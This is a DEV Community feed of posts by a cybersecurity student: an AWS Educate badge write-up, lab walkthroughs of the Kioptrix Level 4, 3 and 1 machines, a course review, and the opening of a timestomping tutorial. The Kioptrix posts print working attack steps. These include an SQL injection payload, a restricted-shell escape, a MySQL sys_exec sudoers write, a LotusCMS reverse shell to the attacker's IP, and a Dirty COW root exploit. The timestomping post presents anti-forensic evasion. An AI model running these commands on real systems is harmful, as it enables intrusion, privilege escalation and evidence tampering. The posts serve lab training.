DEV Community: Muhammad Zain-Ul-Abdin

☁️ AWS Cloud 101 — Earning My First AWS Educate Badge

Muhammad Zain-Ul-Abdin — Tue, 11 Aug 2026 08:43:41 +0000

A walkthrough of how I earned my first AWS badge through AWS Educate and unlocked access to the AWS Emerging Talent Community, documented as I go through my transition from offensive security labs into cloud security.

📖 Introduction
I'd just wrapped up the last VulnHub machine in my Kioptrix run, and it was time to switch lanes. My goal was never SOC analyst work, it's cloud security engineering, and AWS Educate turned out to be the entry point almost everyone skips past on the way to a "real" certification. It doesn't hinge on one big exam. Instead it's a short chain of small unlocks: a free course, a passed assessment, a badge issued through a third party, and a community that sits behind all of it with resources most students never find on their own.

This write-up documents that chain end to end, including the part where I sat around waiting for access that AWS says can take up to 72 hours to show up.

🧰 Setup
Component Description
Platform AWS Educate (awseducate.com)
Account Type Student, free enrollment
Prerequisites Verifiable student email
Target Badge Introduction to Cloud 101
Badge Issuer Credly
🎯 Objectives
Enroll in AWS Educate with a verified student account
Complete the Introduction to Cloud 101 course
Pass the post-course assessment
Confirm badge issuance through Credly
Gain access to the AWS Emerging Talent Community
Identify what the community actually unlocks for certification prep

🗺️ Process Flow
┌────────────────┐ ┌────────────────┐ ┌────────────────┐ ┌────────────────┐ ┌────────────────┐
│ Enroll │─▶│ Complete Course │─▶│ Pass Assessment │─▶│ Badge Issued │─▶│ ETC Unlocked │
└────────────────┘ └────────────────┘ └────────────────┘ └────────────────┘ └────────────────┘

🔍 Phase 1 — Enrollment
Signing up for AWS Educate itself is straightforward, a free account tied to a verifiable student email. The part worth noting is that this single enrollment is the prerequisite for everything downstream. Skip it and none of the badge or community access exists.

Why it matters: AWS Educate isn't the certification, it's the gate in front of the gate. Treating it as a formality is how people miss the voucher system entirely.

📚 Phase 2 — Introduction to Cloud 101
The course itself runs around 8 hours if you go through it properly rather than skimming for the assessment answers. It covers what cloud computing actually is, core AWS services, and hands-on lab time in a sandbox where you build a genuinely simple cloud application from scratch.

It's not deep. It's not meant to be. But it's also not fluff, you come out with an actual working sense of how AWS structures its services, which matters more than it sounds like it should right before specializing in securing that same infrastructure.

🔑 Phase 3 — Assessment and Badge Issuance
Finishing the course material isn't the same as earning the badge, there's a post-course assessment that has to be passed first. Once it clears, AWS doesn't hand the badge over instantly. It routes through Credly, and an email lands once the badge is actually ready to claim.

Lesson: A "completed" course and an "earned" badge are two different states here. Don't assume you're done the moment the last lab closes.

🚪 Phase 4 — Emerging Talent Community Access
This is the part that caught me off guard the first time. Badge in hand, I expected instant access to the AWS Emerging Talent Community (ETC). Instead, AWS states it can take up to 72 hours for that access to actually appear in the account navigation.

Once it does show up, the ETC turns out to be more than a title on a profile. It includes AWS certification prep resources, mentorship opportunities, and a points system redeemable for swag and, more usefully, certification vouchers. Some cycles have run 100% free vouchers for Foundational and Associate-level exams once enough points are banked, alongside a separate AI Practitioner promo running through a code (AIF2CLOUD) for anyone going that route.

Why it matters: for a student paying in rupees against exams priced in dollars, the ETC's voucher system is the actual reason to bother with Cloud 101 at all, the badge itself is just the key.

🧠 Skills Practiced
AWS Educate Platform Navigation
Cloud Fundamentals (Introduction to Cloud 101 curriculum)
Sandbox Lab Environment Usage
Credly Badge Verification
AWS Emerging Talent Community Onboarding

📚 Lessons Learned
Free tiers aren't always the shortcut they look like. Cloud 101 feels like a formality, but it's the only path into the ETC's voucher system, which ended up mattering more than the course content itself.

Waiting periods are part of the process, not a bug. The 72-hour ETC delay isn't documented loudly anywhere, budgeting for it up front avoids a false assumption that something broke.

A badge and a certification are not the same milestone. Cloud 101 doesn't replace CLF-C02 or SCS-C02, it's a prerequisite move that makes the real certifications cheaper and better supported to pursue.

Hands-on labs still beat passive reading. The 8-hour course's sandbox time did more for my actual AWS fluency than the reading material around it.

💭 Conclusion
Cloud 101 isn't where the real cloud security work starts, but it's where the actual roadmap starts. My cert plan runs SC-900 now, AWS Cloud Practitioner next, then SC-200, AZ-500, and eventually AWS Security Specialty. None of that changes because of this badge. What changes is how much of it I can afford to attempt, and how much support exists around each attempt, because of what a few hours of "basic" course content unlocked.

If you're a fellow cybersecurity student deciding whether the AWS Educate track is worth bothering with before jumping straight into paid certs: yes. Do it. The badge takes a handful of hours. What it opens up afterward is worth more than the course itself.

🔗 References
AWS Educate
Introduction to Cloud 101
Credly
AWS Emerging Talent Community
AWS Serverless Security Architecture (my own project, built alongside this track)

👤 Author
Zain Sial
Cybersecurity Student
🔗 GitHub: github.com/zainsial866
🔗 Portfolio: zainsial866.github.io
🔗 LinkedIn: linkedin.com/in/iamzsial

🛡️ Kioptrix Level 4 — Full Walkthrough

Muhammad Zain-Ul-Abdin — Thu, 06 Aug 2026 10:55:27 +0000

A technical walkthrough documenting my approach to solving the Kioptrix Level 4 vulnerable machine in a controlled lab environment.

📖 Introduction
Kioptrix Level 4 doesn't hinge on one dramatic exploit the way earlier levels do. Instead it chains together several smaller access-control and input-validation failures: a login form that reacts to SQL injection but doesn't fully cave to it, a directory listing that leaks application source, a parameter that discloses another user's password outright, a restricted shell around SSH access, and a MySQL UDF that turns a database login into root.

This write-up follows that chain end to end, including the dead end that came before the actual way in.

⚠️ Disclaimer This walkthrough was completed in an isolated lab environment on an intentionally vulnerable virtual machine. It is shared for educational and defensive learning purposes only.

🖥️ Lab Environment
Component Description
Attacker Machine Kali Linux
Target Machine Kioptrix Level 4 (172.30.46.33)
Virtualization VMware Workstation
Network Private Virtual Network
🎯 Objectives
Discover the target host and exposed services
Enumerate the web login application
Identify and exploit an authentication or access-control flaw
Obtain valid credentials
Gain SSH access and escape any restricted shell in place
Escalate privileges to root
Document findings professionally
🗺️ Assessment Flow
┌────────────────┐ ┌────────────────┐ ┌────────────────┐ ┌────────────────┐ ┌────────────────┐ ┌────────────────┐
│ Reconnaissance │─▶│ SQLi Login │─▶│ IDOR Password │─▶│ Restricted SSH │─▶│ Shell Breakout │─▶│ Privilege Esc. │
└────────────────┘ └────────────────┘ └────────────────┘ └────────────────┘ └────────────────┘ └────────────────┘
🔍 Phase 1 — Reconnaissance
Host discovery on the lab network was done with arp-scan:

sudo arp-scan --localnet
arp-scan results

This identified the target at 172.30.46.33. A full Nmap service scan followed:

Port Protocol Service Version
22 tcp ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80 tcp http Apache httpd 2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
139 tcp netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445 tcp netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)
Nmap port scan results

Key findings:

A web application on port 80, alongside SSH and Samba
Old Apache/PHP/Samba versions consistent with the rest of the Kioptrix series
The web app was the most promising entry point to start with
🌐 Phase 2 — Web Application Enumeration
Browsing to the target presented a "LigGoat" member login form:

LigGoat member login page

The natural first move against any login form is testing for SQL injection. A classic authentication-bypass payload was tried in the login fields:

Username: john
Password: ' or 1=1 #
SQL injection attempt returning wrong credentials

This particular payload didn't bypass the login — the application returned "Wrong Username or Password." The query was clearly being touched by the input (a naive concatenation would normally fall to ' or 1=1 #), but this form wasn't giving up that easily, so it was worth widening the enumeration rather than brute-forcing SQLi payloads blindly.

Why it matters: A login form resisting one canned SQLi payload doesn't mean the application is safe — it can just mean the real weakness is somewhere else on the same site.

📂 Phase 3 — Directory Listing Disclosure
Poking at the application's directory structure turned up an exposed, browsable directory:

Directory listing of /robert exposing robert.php

Index of /robert was accessible directly, listing robert.php — a file that should not have been enumerable or servable as a directory listing. This is a classic Apache misconfiguration (missing Options -Indexes) leaking the existence and layout of application-internal files that were never meant to be browsed directly.

With a username (robert) now surfaced from the directory name itself, and the login form confirmed to be database-backed, the login form was retried with valid-looking values for the john account instead, using the credentials referenced by the app's own logic:

Successful login as john

The login succeeded, confirming john as a valid application account.

🔑 Phase 4 — IDOR Password Disclosure
Once authenticated, the application exposed a member control panel. Rather than trusting session state alone, the panel accepted a username parameter directly in the URL:

http://172.30.46.33/member.php?username=john
IDOR disclosing john's plaintext password

The page rendered the corresponding account's password in cleartext:

Username : john
Password : MyNameIsJohn
This is a textbook Insecure Direct Object Reference (IDOR) — the application authorized the request based on being logged in at all, not on whether the logged-in user actually owned the username being requested. Any authenticated session could pull any other account's credentials just by changing the parameter.

Why it matters: Authentication answers "who are you?" — authorization has to separately answer "are you allowed to see this specific record?" This app only ever asked the first question.

🔓 Phase 5 — SSH Access and Restricted Shell
With john:MyNameIsJohn in hand, SSH access was attempted:

SSH login landing in a restricted LigGoat shell

$ ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa john@172.30.46.33
john@172.30.46.33's password:
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you don't screw up
Type '?' or 'help' to get the list of allowed commands
john:~$ ?
cd clear echo exit help ll lpath ls
The login succeeded, but landed in a heavily restricted shell (lshell) exposing only a small allowlist of commands — no whoami, no bash, no direct command execution.

🚪 Phase 6 — Restricted Shell Breakout
lshell allowlists commands, not the full expressiveness of the tools it does allow. echo was still available, and critically the shell evaluates certain patterns through Python — which meant a Python builtin could be smuggled through:

lshell breakout via os.system

john:~$ echo os.system('/bin/bsh')
sh: /bin/bsh: not found
sh: Syntax error: "(" unexpected
john:~$ echo os.system('/bin/bash')
john@Kioptrix4:~$ whoami
john
The first attempt had a typo (/bin/bsh); correcting it to /bin/bash broke out of the restricted lshell environment entirely and dropped into a normal interactive Bash shell as john.

Lesson: Restricting a shell to an allowlist of commands doesn't help if one of the allowed commands is itself an interpreter (or gets evaluated by one) capable of spawning an arbitrary process.

🔑 Phase 7 — Privilege Escalation via MySQL UDF
With a real shell, local privilege escalation avenues were explored. MySQL was reachable with no root password configured:

mysql -u root
A sys_exec() user-defined function (UDF) was already present on this MySQL install — a known Kioptrix Level 4 setup used to demonstrate UDF-based command execution as the MySQL service account (commonly root-equivalent in this lab):

First sudoers write attempt failing with a syntax error

mysql> SELECT sys_exec('echo "john ALL=(ALL:ALL) ALL" >> /etc/sudoers');
mysql> quit
john@Kioptrix4:/var/www$ sudo su

sudoers file: syntax error, line 25 <<<
sudo: parse error in /etc/sudoers near line 25
The first attempt appended a malformed line directly into /etc/sudoers, corrupting it and breaking sudo entirely (the shell-quoting around the embedded " characters didn't survive intact). The fix was to write a properly quoted rule into a drop-in file under /etc/sudoers.d/ instead — the standard, syntax-isolated way sudoers rules are meant to be added — and set the permissions sudoers.d requires:

Corrected sudoers.d write followed by successful sudo su to root

mysql> SELECT sys_exec('echo "john ALL=(ALL:ALL) ALL" > /etc/sudoers.d/john && chmod 440 /etc/sudoers.d/john');
mysql> quit
john@Kioptrix4:/var/www$ sudo su
[sudo] password for john:
root@Kioptrix4:/var/www# whoami
root
sudo su now succeeded, and whoami confirmed full root access.

🧠 Skills Practiced
Network Reconnaissance (arp-scan, Nmap)
Web Login Form Enumeration and SQL Injection Testing
Directory Listing / Information Disclosure Identification
Insecure Direct Object Reference (IDOR) Exploitation
Restricted Shell (lshell) Breakout
MySQL User-Defined Function Abuse
Linux sudoers / sudoers.d Mechanics
Technical Documentation
📚 Lessons Learned
A resisted SQLi payload isn't the same as a secure form. The login form pushed back on one canned payload, but a directory-listing leak on the same application handed over everything the injection was trying to reach.

IDOR vulnerabilities hide in plain sight. member.php?username=john looked like an ordinary parameter, but the app never checked whether the logged-in user actually owned the account being requested.

Restricted shells need to restrict the right thing. lshell's allowlist blocked obvious commands like bash, but echo combined with Python evaluation of os.system() was enough to defeat it completely.

A stray UDF is a loaded gun. sys_exec() sitting on a reachable MySQL instance turned "I have database credentials" into "I have root," with no additional vulnerability required.

sudoers should never be edited with a raw >> and a shell one-liner. The first attempt corrupted the file and broke sudo system-wide until a properly isolated sudoers.d entry replaced it — a good reminder that even the "exploit succeeded" step can go wrong if the mechanics aren't respected.

💭 Conclusion
Kioptrix Level 4 didn't come down to a single CVE — it came down to a chain of ordinary web application mistakes (an over-permissive directory, a missing per-record authorization check) feeding into a chain of ordinary system mistakes (a leftover UDF, a restricted shell with a gap). Individually, several of these findings look minor. Chained together, they're a full compromise.

🔗 References
arp-scan
Nmap
SQL Injection (authentication bypass testing)
Insecure Direct Object Reference (IDOR / OWASP A01: Broken Access Control)
lshell restricted shell
MySQL User-Defined Functions (sys_exec)
Kioptrix Level 4 Documentation
👤 Author
Zain Sial Cybersecurity Student 🔗 GitHub: github.com/zainsial866

Kioptrix Level 3 — When Metasploit Fails, Go Manual (LotusCMS RCE Dirty COW)

Muhammad Zain-Ul-Abdin — Tue, 04 Aug 2026 08:12:24 +0000

🛡️ Kioptrix Level 3 — Full Walkthrough

Kioptrix Level 3 is the third machine in the Kioptrix series, and it's the first one where the fastest path in isn't a network service — it's the web application itself. This one also taught me a lesson that doesn't show up in most walkthroughs: what to do when the "excellent"-rated Metasploit module for a confirmed vulnerability just... doesn't work.

⚠️ Disclaimer: This walkthrough was completed against an intentionally vulnerable virtual machine in an isolated lab environment, for educational purposes only.

🖥️ Lab Setup
Component Description
Attacker Kali Linux (172.20.8.57)
Target Kioptrix Level 3 (172.20.13.53)
Virtualization VMware Workstation
🔍 Recon

Standard start — Nmap against the target:

text
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)

Only two services this time. The HTTP title — "Ligoat Security - Got Goat? Security ..." — made it obvious there was a real application behind port 80, not a default page.

🧩 Finding the Real Target: LotusCMS

Checking Searchsploit against the raw service versions (OpenSSH 4.7, Apache 2.2.8) didn't turn up anything directly usable. That's a dead end worth recognizing quickly — server banners aren't always the actual attack surface.

Viewing the page source instead told the real story:

html

Proudly Powered by: LotusCMS

The site was running LotusCMS 3.0 — a much more specific and researchable target than a generic Apache version number.

🛠️ The Metasploit Dead End

LotusCMS 3.0 has a well-known eval()-based remote code execution vulnerability, and Metasploit has a module for it:

text
exploit/multi/http/lcms_php_exec 2011-03-03 excellent LotusCMS 3.0 eval() Remote Command Execution

"Excellent" rank, exact version match, options configured correctly. I ran it:

text
msf exploit(multi/http/lcms_php_exec) > run
[] Started reverse TCP handler on 172.20.8.57:5555
[] Using found page param: /index.php?page=index
[] Sending exploit ...
[] Exploit completed, but no session was created.

Ran it again. Same result.

This is the part most walkthroughs skip past — but it's the actually useful lesson. A module rated "excellent," targeting the exact confirmed CMS version, still didn't create a session. That doesn't mean the vulnerability isn't real. It means the module isn't handling something about this specific target correctly (payload staging, PHP version quirks, whatever it may be), and it was time to stop retrying and start understanding.

🚪 Going Manual

The underlying flaw is straightforward once you look at it: LotusCMS's router() function passes a page request parameter into eval() without sanitization. A public proof-of-concept script (lotusRCE.sh by Hood3dRob1n) automates confirming and exploiting exactly that.

text
$ ./lotusRCE.sh 172.20.13.53 /
Path found, now to check for vuln....
Regex found, site is vulnerable to PHP Code Injection!
About to try and inject reverse shell....
what IP to use? 172.20.8.57
What PORT? 4444

OK, open your local listener and choose the method for back connect:
1) NetCat -e
2) NetCat /dev/tcp
3) NetCat Backpipe
4) NetCat FIFO
5) Exit

? 2

With a listener running:

text
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [172.20.8.57] from (UNKNOWN) [172.20.13.53] 51895
$ whoami
www-data

Same vulnerability, same target, manual exploitation — and it worked immediately.

⚠️ Stabilizing the Shell

A raw netcat reverse shell is awkward to work with, so the first move after landing was upgrading it to a real TTY:

bash
python -c 'import pty; pty.spawn("/bin/sh")'

Then basic enumeration:

text
www-data@Kioptrix3:~$ uname -a
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU/Linux

www-data@Kioptrix3:~$ cat /etc/*release
DISTRIB_DESCRIPTION="Ubuntu 8.04.3 LTS"

A 2009 kernel is old enough to be interesting for privilege escalation — and it turned out to be vulnerable to one of the most famous Linux kernel bugs ever disclosed.

🔑 Root via Dirty COW

CVE-2016-5195, "Dirty COW," is a race condition in how the kernel handles copy-on-write memory. It lets a local user write to memory mappings that should be read-only — including files like /etc/passwd.

The /etc/passwd-method exploit compiles cleanly on-target:

bash
gcc -pthread dirty.c -o dirty -lcrypt
./dirty
text
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: 1234
Complete line:
firefart:fionu3giiS71.:0:0:pwned:/root:/bin/bash

Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password '1234'.

It patches /etc/passwd in place, adding a new UID-0 user with a password you set — after backing up the original so it can be restored.

text
$ su firefart
Password: 1234
firefart@Kioptrix3:/tmp# whoami
firefart
firefart@Kioptrix3:/tmp# cat /etc/shadow
root:$1$QAKvVJey$6rRkAMGKq1u62yfDaenUr1:15082:0:99999:7:::
...

Reading /etc/shadow — root-only — confirmed full compromise.

🧠 What This One Actually Taught Me
Fingerprint the application, not just the server. The Apache/PHP version numbers were a dead end. The CMS name buried in the page footer was the real lead.
A failed exploit module isn't proof of anything. If a high-confidence, version-matched module doesn't create a session, that's a prompt to understand the vulnerability well enough to reproduce it manually — not a signal to move on.
Shell stabilization matters. pty.spawn turned a fragile raw shell into something I could actually work in.
Old kernels don't expire. Dirty COW was disclosed in 2016. It still worked flawlessly against a kernel from 2009, running on a lab machine years later. Patch lag is the whole story here.
🔗 References
LotusCMS RCE script: https://github.com/Hood3dRob1n/LotusCMS-Exploit
Dirty COW (CVE-2016-5195): https://nvd.nist.gov/vuln/detail/CVE-2016-5195
Full writeup + report + findings: github.com/zainsial866

Zain Sial Cybersecurity Student 🔗 GitHub: github.com/zainsial866

Kioptrix Level 1 - My First Legacy Linux Penetration Testing Lab

Muhammad Zain-Ul-Abdin — Sat, 01 Aug 2026 08:57:58 +0000

🔓 Kioptrix Level 1: My First Legacy Linux Penetration Testing Lab

Category: Learning Log Difficulty: Beginner Target: Kioptrix Level 1 (VulnHub)

🧭 Introduction

Kioptrix Level 1 is one of the classic boot-to-root VMs used to practice penetration testing fundamentals in a controlled lab environment. The software is intentionally ancient, but that's exactly the point — it strips away complexity so you can focus on process: recon, enumeration, vulnerability research, exploitation, and privilege escalation, without distractions.

This isn't a step-by-step command dump. I wanted to document the thought process behind each phase instead — what I was thinking, what tripped me up, and what it taught me.

🖥️ Lab Environment
┌─────────────┐ ┌──────────────────┐
│ Kali Linux │ ───────▶│ Kioptrix Level 1 │
│ (Attacker) │ LAN │ (Target VM) │
└─────────────┘ └──────────────────┘
Isolated network — VMware Workstation
Attacker: Kali Linux
Target: Kioptrix Level 1
Hypervisor: VMware Workstation
Network: Isolated lab segment

Running this in isolation matters — these services have real, documented, unpatched vulnerabilities. Safe to break here, never safe on a live network.

🔍 Reconnaissance

Every assessment starts with figuring out what's actually there.

First step: confirm the target is alive on the network. Second: full port scan to map the attack surface.

(Insert Nmap screenshot here)

The scan surfaced several services worth digging into:

SSH
HTTP
HTTPS
RPC
Samba

The standout finding was version detection flagging a very old Apache build paired with an outdated OpenSSL install. Legacy software like this tends to have well-documented public exploits, so this immediately became priority #1.

🧩 Enumeration

Open ports are just the entry point — the real work is understanding what each service actually exposes.

SMB enumeration revealed the workgroup configuration and available shares.
Directory enumeration on the web server surfaced additional paths that hinted at server configuration details.

(Insert enumeration screenshot here)

Takeaway: Enumeration is the phase that decides everything downstream. Skipping depth here means missing attack paths later — no exploit compensates for weak recon.

🛠️ Vulnerability Assessment

With accurate service versions in hand, I moved to matching them against known CVEs.

Both the Apache and OpenSSL versions lined up with documented, publicly known vulnerabilities — strong candidates for exploitation in this lab context.

The approach here mattered more than the outcome: match the exploit to the confirmed version, don't spray-and-pray. Accurate fingerprinting up front saves a lot of wasted effort later.

⚠️ Unexpected Challenges

Honestly, the most educational part of this lab wasn't the initial exploit — it was everything that broke after getting a foothold.

An exploit dependency referenced online no longer existed.
The target was missing tooling that modern systems take for granted.
File transfer to the target needed a workaround given the environment's limitations.
Some public exploit source had formatting issues that broke compilation on first try.

None of these were individually hard, but stacked together they taught a bigger lesson:

Real engagements never go exactly like the writeup. Knowing how to debug a broken exploit chain is as valuable as knowing the exploit itself.

🔑 Privilege Escalation

With limited access secured, the next question was: can this go further?

Digging into the OS and kernel details turned up a well-known local privilege escalation vulnerability affecting this legacy environment. Successfully leveraging it confirmed full compromise.

This is the part that really drives the lesson home: one exposed network service plus one unpatched OS equals total system compromise. Patch management isn't optional at any layer.

📚 Lessons Learned

Enumeration drives everything. Every later decision traces back to how well you understood the target up front.

Know before you act. Confirmed versions beat guesswork every time.

Troubleshooting is a core skill, not a side skill. Broken links, missing deps, outdated tooling — legacy boxes force you to actually debug, not just follow a script.

Defense matters as much as offense. Seeing how small outdated components chain into full compromise makes the case for patching and reducing exposed surface area better than any slide deck.

💭 Final Thoughts

Kioptrix Level 1 is still one of the best entry points into the penetration testing lifecycle — not because it's technically hard, but because it forces discipline: observe carefully, work methodically, don't skip steps.

For anyone starting out, this box is a genuinely good place to build the habits that carry into everything harder down the line.

Name: Zain Sial Title: Cybersecurity Student GitHub: github.com/zainsial866

🔐 From Zero to CORE: My 3-Day Deep Dive Into Hackviser's Certified Cybersecurity Foundations

Muhammad Zain-Ul-Abdin — Fri, 24 Jul 2026 09:39:07 +0000

🔐 From Zero to CORE: My 3-Day Deep Dive Into Hackviser's Certified Cybersecurity Foundations

"Every cybersecurity professional starts somewhere. This is where I started — and honestly? It didn't feel basic at all."

If you've ever felt the gap between "I finished a cybersecurity lecture" and "I actually know what I'm doing," this post is for you. I just wrapped up Hackviser's Certified Cybersecurity Foundations (CORE) certification — 19 modules, 7 domains, 3 days, zero paywalls — and I walked away with way more than a PDF certificate. I want to break down exactly what's inside CORE, why it's structured the way it is, and why I think every cybersecurity student and career-switcher should run through it before touching anything more advanced. 🚀

🧭 What Even Is CORE?

A little research before I dove in: CORE is Hackviser's free foundations certificate built specifically for cybersecurity beginners — students, career switchers, and anyone curious enough to want a structured on-ramp instead of a scattered pile of YouTube tutorials. A few things stood out to me about how it's positioned:

✅ 100% free — no VIP membership, no paywall, no "unlock the good parts for $89" trick
✅ Certificate valid forever — it's not a subscription badge that expires
✅ Zero prior experience required — genuinely built for people starting from scratch
✅ Officially recommended as the first step before CAPT (Hackviser's Certified Associate Penetration Tester cert), so it's explicitly a stepping stone, not a dead end

Within its first day of launch, Hackviser reported thousands of learners had already earned the cert — which tells you there's real demand for a foundations-level program that doesn't gatekeep behind a price tag. 💯

So here's my full module-by-module breakdown — the good, the surprising, and the genuinely fun parts. 👇

1️⃣ Introduction to Cybersecurity

Short, but it sets the tone immediately: cybersecurity isn't one skill, it's an umbrella — network defense, app security, incident response, social engineering awareness, and (increasingly) AI security, all under one roof. No fluff, straight into orientation.

2️⃣ Threat and Incident Management ⚔️

This is where the frameworks started clicking:

🔗 The Cyber Kill Chain — the seven stages an attacker walks through, from reconnaissance to actions on objectives. Once this clicks, you can't read a breach headline anymore without mentally mapping which link in the chain got exploited.
🚨 The Incident Response Lifecycle — preparation → detection → containment → eradication → recovery → lessons learned. This is the calm, repeatable process that replaces panic when something actually goes wrong.

The lightbulb moment: the kill chain tells you what the attacker is doing at each stage, and the IR lifecycle tells you exactly how to respond at that same stage. They're two sides of the same coin.

3️⃣ Network and Web Fundamentals 🌐

Easily the densest — and most immediately useful — section:

Network Fundamentals — OSI model, TCP/UDP behavior, ports and services. This paid off immediately in the practical labs, where I had to run nmap scans and actually interpret what open ports like SSH, DNS, RPC, and VNC meant about a target machine.
Web Fundamentals — HTTP request/response cycles, headers, cookies, sessions. The invisible plumbing behind literally every website you've ever used.
OWASP Top 10 (2025) — the current, just-updated list of the most critical web application security risks. This one deserves its own dedicated deep-dive post soon — the 2025 revision reflects how much attack surface has shifted with modern API-first, JS-heavy architectures.
4️⃣ Generative AI Security 🤖

Did not expect this in a foundations-level cert, and it might be my favorite surprise of the whole program. LLM Security Fundamentals covers the genuinely new attack surface emerging around large language models: prompt injection, data leakage, model manipulation. With AI getting bolted onto every product on Earth right now, this isn't a "bonus module" — it's a preview of where a massive chunk of future security work is heading. Hackviser clearly built this to be current, not textbook-stale.

5️⃣ Reconnaissance and Social Engineering 🕵️

This is where things got genuinely fun:

Information Gathering with OSINT — using publicly available information to build a target profile before ever touching a system. Deceptively simple-sounding, endlessly deep once you start pulling threads.
Social Engineering with Phishing — full anatomy of phishing attacks: fake emails, cloned websites, malware delivery — and the detection side: reading email headers, verifying SPF/DKIM/DMARC records, spotting domain-spoofing tricks (looking at you, rn disguised as m). The human layer is still the weakest link in almost every real-world breach, and this module made that uncomfortably concrete. 😬
6️⃣ Cryptology Fundamentals 🔓

Six sub-modules, and this is where the cert turned into an actual puzzle box:

Binary, Hex Encoding, Base64 — encoding schemes that show up everywhere once you learn to spot them. Half of "advanced-looking" gibberish online is just plaintext wearing a costume.
SHA1 and MD5 — cryptographic hashing, and crucially, why MD5's known collision vulnerabilities mean it should never be trusted for anything security-sensitive today — even though it's still everywhere in the wild.

Nothing teaches you the danger of an unsalted, weak hash faster than looking one up in a rainbow table and getting the plaintext back in under a second. ⚡

7️⃣ Practical Exercises 🛠️

This is where every prior domain got stress-tested against real, live machines via Hackviser's browser-based Hackerbox:

Arrow — built around Telnet, a legacy remote-access protocol with zero encryption. Scanning it, connecting to it, and understanding exactly why it's considered insecure by modern standards was a great gut-check.
File Hunter — locating hidden/sensitive files on a target system.
Secure Command — command-line security fundamentals.
Query Gate — reasoning through query-based access and filtering logic.

Running actual nmap scans and interpreting the output against machines I could see running live turned every earlier "theory" module into muscle memory. 💪

🎯 Why This Actually Matters (Beyond the Badge)

Here's the thing about CORE that I didn't fully appreciate until I finished it: it's not trying to make you an expert in three days. It's stitching together the vocabulary, the frameworks, and the hands-on reps you need so that more advanced material (CAPT, and beyond) doesn't feel like being thrown in the deep end.

The structural trick that makes it work: you're not just reading about the Cyber Kill Chain — in the same week, you're doing reconnaissance, cracking encodings, and scanning live boxes. That "learn → immediately apply" loop is exactly what a lot of traditional university coursework misses, and it's the single biggest reason I'd recommend this path to any beginner. 🔥

📌 Quick Reference: The 7 Domains

Domain Key Skills

1 Introduction to Cybersecurity Orientation & terminology
2 Threat & Incident Management Cyber Kill Chain, IR Lifecycle
3 Network & Web Fundamentals OSI/TCP-IP, HTTP, OWASP Top 10 (2025)
4 Generative AI Security LLM attack surfaces
5 Recon & Social Engineering OSINT, phishing detection
6 Cryptology Fundamentals Binary/Hex/Base64, SHA1, MD5
7 Practical Exercises nmap, Telnet, file/command/query labs
🚀 What's Next For Me

With CORE in the bag, I'm heading deeper into the OWASP Top 10 (2025) and continuing my Windows internals work in C — timestomping, Alternate Data Streams, and Win32 API offensive-security tooling. If you've been following my build logs and CTF write-ups, more is coming soon. 🧵

If you're a fellow cybersecurity student, IT major, or career-switcher wondering where to start — genuinely, go try Hackviser's free CORE content. It respects your time and your curiosity in equal measure, and that combination is rarer than it should be. ✨

Tags: #cybersecurity #infosec #beginners #ctf #appsec #networking #cryptography #osint #owasp

Muhammad Zain Ul Abdin is a cybersecurity student focused on Windows internals, offensive security, and tool development. Follow the journey on GitHub.

How to Build a Timestomping Utility: Windows Native APIs & Forensic Evasion

Muhammad Zain-Ul-Abdin — Tue, 14 Jul 2026 09:35:07 +0000

How to Build a Timestomping Utility: Windows Native APIs, NTFS Metadata & Forensic Evasion

Title: How to Build a Timestomping Utility: Windows Native APIs, NTFS Metadata & Forensic Evasion

Description: Learn how file timestamps work in Windows, how they can be modified using Native APIs, and why forensic examiners need multiple data sources to catch manipulation.

Tags: #windows #cybersecurity #ntfs #native-api #forensics #c #malware-analysis #windows-internals

Reading Time: 8 min

Difficulty: Intermediate

🎯 Introduction

Ever wondered how malware hides its tracks on Windows systems? One of the most overlooked—yet powerful—techniques is timestomping: modifying file creation, modification, and access timestamps to appear innocuous.

In this post, I'll walk you through:

✅ How Windows stores file timestamps

✅ Why investigators rely on them

✅ How to build a timestomping utility from scratch

✅ Why timestomping alone is insufficient for evasion

✅ How forensic examiners can detect manipulation

I've built a working timestomper in C using Windows Native APIs—let's dissect it.

📋 The Problem: File Timestamps in Forensics

When an investigator reconstructs a timeline of events on a compromised system, they often start with file metadata.

Standard questions during incident response:

When was this executable created?
When was this configuration file last modified?
What files were accessed around the time of the breach?

All of this relies on three critical timestamps:

Timestamp	Meaning	Example
Creation Time	When the file was first written to disk	`2026-07-10 10:13 PM`
Last Write Time	When the file contents changed	`2026-07-10 10:15 PM`
Last Access Time	When the file was opened	`2026-07-10 3:00 PM`

If an attacker can modify these timestamps, they can:

🕵️ Hide when malware was executed
📅 Impersonate legitimate system files
🔄 Obfuscate the attack timeline
🚪 Evade automated detection systems

⚙️ Understanding Windows File Timestamps

Where Are Timestamps Stored?

Windows stores file timestamps in the NTFS MFT (Master File Table). Every file has an associated entry containing:

FILE_BASIC_INFORMATION
├── CreationTime
├── LastAccessTime
├── LastWriteTime
├── ChangeTime
└── FileAttributes

How Can We Access Them?

There are two ways to read/modify timestamps:

1. Win32 APIs (High-Level)

GetFileTime()    // Read timestamps
SetFileTime()    // Write timestamps (limited)

2. Native APIs (Low-Level)

NtQueryInformationFile()    // Query file info directly from kernel
NtSetInformationFile()      // Modify file info at kernel level

The Native API approach is more powerful because:

Win32 may enforce restrictions or validation
Native APIs interact directly with NTFS structures
Developers can bypass certain access checks

🔧 Building the Timestomper

Let's break down the implementation. Full source code: github.com/zainsial866/timestomper

Step 1: Define the Structures

typedef struct _FILE_BASIC_INFORMATION {
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    ULONG         FileAttributes;
} FILE_BASIC_INFORMATION;

